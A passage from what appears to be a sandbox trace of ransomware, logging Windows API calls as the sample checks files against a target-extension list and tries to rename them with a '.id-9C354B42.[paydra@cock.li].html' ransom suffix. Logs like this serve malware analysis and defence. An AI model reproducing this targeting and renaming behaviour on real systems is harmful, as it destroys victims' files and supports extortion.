Maker\\Shared\\DvdStyles\\heart_glass_Thumbnail.bmp") returned 69 [0049.244] lstrlenW (lpString=".zip") returned 4 [0049.244] lstrcmpiW (lpString1=".zip", lpString2=".bmp") returned 1 [0049.244] lstrlenW (lpString=".rar") returned 4 [0049.244] lstrcmpiW (lpString1=".rar", lpString2=".bmp") returned 1 [0049.244] lstrlenW (lpString=".bz2") returned 4 [0049.244] lstrcmpiW (lpString1=".bz2", lpString2=".bmp") returned 1 [0049.244] lstrlenW (lpString=".7z") returned 3 [0049.244] lstrcmpiW (lpString1=".7z", lpString2="bmp") returned -1 [0049.244] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\heart_glass_Thumbnail.bmp") returned 69 [0049.244] lstrlenW (lpString=".dbf") returned 4 [0049.244] lstrcmpiW (lpString1=".dbf", lpString2=".bmp") returned 1 [0049.244] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\heart_glass_Thumbnail.bmp") returned 69 [0049.244] lstrlenW (lpString=".1cd") returned 4 [0049.244] lstrcmpiW (lpString1=".1cd", lpString2=".bmp") returned -1 [0049.244] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\heart_glass_Thumbnail.bmp") returned 69 [0049.244] lstrlenW (lpString=".jpg") returned 4 [0049.244] lstrcmpiW (lpString1=".jpg", lpString2=".bmp") returned 1 [0049.244] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\heart_glass_Thumbnail.bmp") returned 69 [0049.244] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\heart_glass_Thumbnail.bmp") returned 69 [0049.244] lstrlenW (lpString=".doc") returned 4 [0049.244] lstrcmpiW (lpString1=".doc", lpString2=".bmp") returned 1 [0049.244] lstrlenW (lpString=".docx") returned 5 [0049.244] lstrcmpiW (lpString1=".docx", lpString2="l.bmp") returned -1 [0049.244] lstrlenW (lpString=".pdf") returned 4 [0049.244] lstrcmpiW (lpString1=".pdf", lpString2=".bmp") returned 1 [0049.244] lstrlenW (lpString=".xls") returned 4 [0049.244] lstrcmpiW (lpString1=".xls", lpString2=".bmp") returned 1 [0049.244] lstrlenW (lpString=".xlsx") returned 5 [0049.244] lstrcmpiW (lpString1=".xlsx", lpString2="l.bmp") returned -1 [0049.244] lstrlenW (lpString=".ppt") returned 4 [0049.245] lstrcmpiW (lpString1=".ppt", lpString2=".bmp") returned 1 [0049.245] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\heart_glass_Thumbnail.bmp") returned 69 [0049.245] lstrlenW (lpString=".zip") returned 4 [0049.245] lstrcmpiW (lpString1=".zip", lpString2=".bmp") returned 1 [0049.245] lstrlenW (lpString=".rar") returned 4 [0049.245] lstrcmpiW (lpString1=".rar", lpString2=".bmp") returned 1 [0049.245] lstrlenW (lpString=".bz2") returned 4 [0049.245] lstrcmpiW (lpString1=".bz2", lpString2=".bmp") returned 1 [0049.245] lstrlenW (lpString=".7z") returned 3 [0049.245] lstrcmpiW (lpString1=".7z", lpString2="bmp") returned -1 [0049.245] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\heart_glass_Thumbnail.bmp") returned 69 [0049.245] lstrlenW (lpString=".dbf") returned 4 [0049.245] lstrcmpiW (lpString1=".dbf", lpString2=".bmp") returned 1 [0049.245] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\heart_glass_Thumbnail.bmp") returned 69 [0049.245] lstrlenW (lpString=".1cd") returned 4 [0049.245] lstrcmpiW (lpString1=".1cd", lpString2=".bmp") returned -1 [0049.245] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\heart_glass_Thumbnail.bmp") returned 69 [0049.245] lstrlenW (lpString=".jpg") returned 4 [0049.245] lstrcmpiW (lpString1=".jpg", lpString2=".bmp") returned 1 [0049.245] lstrcmpiW (lpString1=".png", lpString2=".html") returned 1 [0049.245] lstrlenW (lpString="Heart_SelectionSubpicture.png") returned 29 [0049.245] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Heart_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\heart_selectionsubpicture.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b8 [0049.245] GetFileSizeEx (in: hFile=0x1b8, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=4728) returned 1 [0049.245] CloseHandle (hObject=0x1b8) returned 1 [0049.246] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Heart_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\heart_selectionsubpicture.png")) returned 0x20 [0049.246] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Heart_SelectionSubpicture.png.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\heart_selectionsubpicture.png.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0049.246] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Heart_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\heart_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0049.246] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Heart_SelectionSubpicture.png") returned 73 [0049.246] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Heart_SelectionSubpicture.png") returned 73 [0049.246] lstrlenW (lpString=".doc") returned 4 [0049.246] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0049.246] lstrlenW (lpString=".docx") returned 5 [0049.246] lstrcmpiW (lpString1=".docx", lpString2="e.png") returned -1 [0049.246] lstrlenW (lpString=".pdf") returned 4 [0049.246] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0049.246] lstrlenW (lpString=".xls") returned 4 [0049.246] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0049.246] lstrlenW (lpString=".xlsx") returned 5 [0049.246] lstrcmpiW (lpString1=".xlsx", lpString2="e.png") returned -1 [0049.246] lstrlenW (lpString=".ppt") returned 4 [0049.246] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0049.246] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Heart_SelectionSubpicture.png") returned 73 [0049.246] lstrlenW (lpString=".zip") returned 4 [0049.246] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0049.246] lstrlenW (lpString=".rar") returned 4 [0049.246] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0049.246] lstrlenW (lpString=".bz2") returned 4 [0049.246] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0049.246] lstrlenW (lpString=".7z") returned 3 [0049.246] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0049.246] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Heart_SelectionSubpicture.png") returned 73 [0049.246] lstrlenW (lpString=".dbf") returned 4 [0049.246] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0049.246] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Heart_SelectionSubpicture.png") returned 73 [0049.246] lstrlenW (lpString=".1cd") returned 4 [0049.247] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0049.247] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Heart_SelectionSubpicture.png") returned 73 [0049.247] lstrlenW (lpString=".jpg") returned 4 [0049.247] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0049.247] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Heart_SelectionSubpicture.png") returned 73 [0049.247] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Heart_SelectionSubpicture.png") returned 73 [0049.247] lstrlenW (lpString=".doc") returned 4 [0049.247] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0049.247] lstrlenW (lpString=".docx") returned 5 [0049.247] lstrcmpiW (lpString1=".docx", lpString2="e.png") returned -1 [0049.247] lstrlenW (lpString=".pdf") returned 4 [0049.247] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0049.247] lstrlenW (lpString=".xls") returned 4 [0049.247] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0049.247] lstrlenW (lpString=".xlsx") returned 5 [0049.247] lstrcmpiW (lpString1=".xlsx", lpString2="e.png") returned -1 [0049.247] lstrlenW (lpString=".ppt") returned 4 [0049.247] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0049.247] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Heart_SelectionSubpicture.png") returned 73 [0049.247] lstrlenW (lpString=".zip") returned 4 [0049.247] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0049.247] lstrlenW (lpString=".rar") returned 4 [0049.247] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0049.247] lstrlenW (lpString=".bz2") returned 4 [0049.247] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0049.247] lstrlenW (lpString=".7z") returned 3 [0049.247] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0049.247] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Heart_SelectionSubpicture.png") returned 73 [0049.247] lstrlenW (lpString=".dbf") returned 4 [0049.247] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0049.247] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Heart_SelectionSubpicture.png") returned 73 [0049.247] lstrlenW (lpString=".1cd") returned 4 [0049.247] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0049.247] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Heart_SelectionSubpicture.png") returned 73 [0049.248] lstrlenW (lpString=".jpg") returned 4 [0049.248] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0049.248] lstrcmpiW (lpString1=".png", lpString2=".html") returned 1 [0049.248] lstrlenW (lpString="Heart_VideoInset.png") returned 20 [0049.248] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Heart_VideoInset.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\heart_videoinset.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b8 [0049.248] GetFileSizeEx (in: hFile=0x1b8, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=5742) returned 1 [0049.248] CloseHandle (hObject=0x1b8) returned 1 [0049.248] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Heart_VideoInset.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\heart_videoinset.png")) returned 0x20 [0049.248] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Heart_VideoInset.png.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\heart_videoinset.png.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0049.248] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Heart_VideoInset.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\heart_videoinset.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0049.248] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Heart_VideoInset.png") returned 64 [0049.248] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Heart_VideoInset.png") returned 64 [0049.248] lstrlenW (lpString=".doc") returned 4 [0049.248] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0049.248] lstrlenW (lpString=".docx") returned 5 [0049.248] lstrcmpiW (lpString1=".docx", lpString2="t.png") returned -1 [0049.248] lstrlenW (lpString=".pdf") returned 4 [0049.248] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0049.248] lstrlenW (lpString=".xls") returned 4 [0049.249] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0049.249] lstrlenW (lpString=".xlsx") returned 5 [0049.249] lstrcmpiW (lpString1=".xlsx", lpString2="t.png") returned -1 [0049.249] lstrlenW (lpString=".ppt") returned 4 [0049.249] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0049.249] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Heart_VideoInset.png") returned 64 [0049.249] lstrlenW (lpString=".zip") returned 4 [0049.249] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0049.249] lstrlenW (lpString=".rar") returned 4 [0049.249] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0049.249] lstrlenW (lpString=".bz2") returned 4 [0049.249] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0049.249] lstrlenW (lpString=".7z") returned 3 [0049.249] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0049.249] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Heart_VideoInset.png") returned 64 [0049.249] lstrlenW (lpString=".dbf") returned 4 [0049.249] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0049.249] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Heart_VideoInset.png") returned 64 [0049.249] lstrlenW (lpString=".1cd") returned 4 [0049.249] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0049.249] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Heart_VideoInset.png") returned 64 [0049.249] lstrlenW (lpString=".jpg") returned 4 [0049.249] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0049.249] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Heart_VideoInset.png") returned 64 [0049.249] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Heart_VideoInset.png") returned 64 [0049.249] lstrlenW (lpString=".doc") returned 4 [0049.249] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0049.250] lstrlenW (lpString=".docx") returned 5 [0049.250] lstrcmpiW (lpString1=".docx", lpString2="t.png") returned -1 [0049.250] lstrlenW (lpString=".pdf") returned 4 [0049.250] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0049.250] lstrlenW (lpString=".xls") returned 4 [0049.250] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0049.250] lstrlenW (lpString=".xlsx") returned 5 [0049.250] lstrcmpiW (lpString1=".xlsx", lpString2="t.png") returned -1 [0049.250] lstrlenW (lpString=".ppt") returned 4 [0049.250] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0049.250] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Heart_VideoInset.png") returned 64 [0049.250] lstrlenW (lpString=".zip") returned 4 [0049.250] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0049.250] lstrlenW (lpString=".rar") returned 4 [0049.250] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0049.250] lstrlenW (lpString=".bz2") returned 4 [0049.250] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0049.250] lstrlenW (lpString=".7z") returned 3 [0049.250] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0049.250] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Heart_VideoInset.png") returned 64 [0049.250] lstrlenW (lpString=".dbf") returned 4 [0049.250] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0049.250] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Heart_VideoInset.png") returned 64 [0049.250] lstrlenW (lpString=".1cd") returned 4 [0049.250] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0049.250] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Heart_VideoInset.png") returned 64 [0049.250] lstrlenW (lpString=".jpg") returned 4 [0049.250] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0049.250] lstrcmpiW (lpString1=".png", lpString2=".html") returned 1 [0049.250] lstrlenW (lpString="1047x576black.png") returned 17 [0049.251] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\1047x576black.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\1047x576black.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b8 [0049.251] GetFileSizeEx (in: hFile=0x1b8, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=4570) returned 1 [0049.251] CloseHandle (hObject=0x1b8) returned 1 [0049.251] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\1047x576black.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\1047x576black.png")) returned 0x20 [0049.251] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\1047x576black.png.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\1047x576black.png.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0049.252] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\1047x576black.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\1047x576black.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0049.252] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\1047x576black.png") returned 70 [0049.252] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\1047x576black.png") returned 70 [0049.252] lstrlenW (lpString=".doc") returned 4 [0049.252] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0049.252] lstrlenW (lpString=".docx") returned 5 [0049.252] lstrcmpiW (lpString1=".docx", lpString2="k.png") returned -1 [0049.252] lstrlenW (lpString=".pdf") returned 4 [0049.252] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0049.252] lstrlenW (lpString=".xls") returned 4 [0049.252] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0049.252] lstrlenW (lpString=".xlsx") returned 5 [0049.252] lstrcmpiW (lpString1=".xlsx", lpString2="k.png") returned -1 [0049.252] lstrlenW (lpString=".ppt") returned 4 [0049.252] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0049.252] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\1047x576black.png") returned 70 [0049.252] lstrlenW (lpString=".zip") returned 4 [0049.252] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0049.252] lstrlenW (lpString=".rar") returned 4 [0049.252] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0049.252] lstrlenW (lpString=".bz2") returned 4 [0049.252] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0049.252] lstrlenW (lpString=".7z") returned 3 [0049.252] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0049.252] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\1047x576black.png") returned 70 [0049.252] lstrlenW (lpString=".dbf") returned 4 [0049.252] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0049.252] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\1047x576black.png") returned 70 [0049.252] lstrlenW (lpString=".1cd") returned 4 [0049.252] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0049.252] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\1047x576black.png") returned 70 [0049.252] lstrlenW (lpString=".jpg") returned 4 [0049.252] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0049.253] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\1047x576black.png") returned 70 [0049.253] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\1047x576black.png") returned 70 [0049.253] lstrlenW (lpString=".doc") returned 4 [0049.253] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0049.253] lstrlenW (lpString=".docx") returned 5 [0049.253] lstrcmpiW (lpString1=".docx", lpString2="k.png") returned -1 [0049.253] lstrlenW (lpString=".pdf") returned 4 [0049.253] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0049.253] lstrlenW (lpString=".xls") returned 4 [0049.253] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0049.253] lstrlenW (lpString=".xlsx") returned 5 [0049.253] lstrcmpiW (lpString1=".xlsx", lpString2="k.png") returned -1 [0049.253] lstrlenW (lpString=".ppt") returned 4 [0049.253] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0049.253] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\1047x576black.png") returned 70 [0049.253] lstrlenW (lpString=".zip") returned 4 [0049.253] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0049.253] lstrlenW (lpString=".rar") returned 4 [0049.253] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0049.253] lstrlenW (lpString=".bz2") returned 4 [0049.253] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0049.253] lstrlenW (lpString=".7z") returned 3 [0049.253] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0049.253] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\1047x576black.png") returned 70 [0049.253] lstrlenW (lpString=".dbf") returned 4 [0049.253] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0049.253] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\1047x576black.png") returned 70 [0049.253] lstrlenW (lpString=".1cd") returned 4 [0049.253] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0049.253] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\1047x576black.png") returned 70 [0049.253] lstrlenW (lpString=".jpg") returned 4 [0049.253] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0049.254] lstrcmpiW (lpString1=".png", lpString2=".html") returned 1 [0049.254] lstrlenW (lpString="15x15dot.png") returned 12 [0049.254] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\15x15dot.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\15x15dot.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0049.623] GetFileSizeEx (in: hFile=0x21c, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=2821) returned 1 [0049.628] CloseHandle (hObject=0x21c) returned 1 [0049.654] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\15x15dot.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\15x15dot.png")) returned 0x20 [0049.655] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\15x15dot.png.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\15x15dot.png.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0049.655] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\15x15dot.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\15x15dot.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0049.655] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\15x15dot.png") returned 65 [0049.655] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\15x15dot.png") returned 65 [0049.655] lstrlenW (lpString=".doc") returned 4 [0049.655] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0049.655] lstrlenW (lpString=".docx") returned 5 [0049.655] lstrcmpiW (lpString1=".docx", lpString2="t.png") returned -1 [0049.655] lstrlenW (lpString=".pdf") returned 4 [0049.655] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0049.655] lstrlenW (lpString=".xls") returned 4 [0049.655] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0049.655] lstrlenW (lpString=".xlsx") returned 5 [0049.655] lstrcmpiW (lpString1=".xlsx", lpString2="t.png") returned -1 [0049.655] lstrlenW (lpString=".ppt") returned 4 [0049.655] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0049.655] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\15x15dot.png") returned 65 [0049.655] lstrlenW (lpString=".zip") returned 4 [0049.655] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0049.655] lstrlenW (lpString=".rar") returned 4 [0049.655] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0049.655] lstrlenW (lpString=".bz2") returned 4 [0049.655] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0049.655] lstrlenW (lpString=".7z") returned 3 [0049.655] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0049.655] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\15x15dot.png") returned 65 [0049.655] lstrlenW (lpString=".dbf") returned 4 [0049.655] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0050.148] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmainbackground.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainBackground.wmv.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmainbackground.wmv.id-9c354b42.[paydra@cock.li].html")) returned 0 [0050.149] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmainbackground_pal.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainBackground_PAL.wmv.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmainbackground_pal.wmv.id-9c354b42.[paydra@cock.li].html")) returned 0 [0050.149] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToNotesBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmaintonotesbackground.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToNotesBackground.wmv.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmaintonotesbackground.wmv.id-9c354b42.[paydra@cock.li].html")) returned 0 [0050.150] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToNotesBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmaintonotesbackground_pal.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToNotesBackground_PAL.wmv.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\dvd 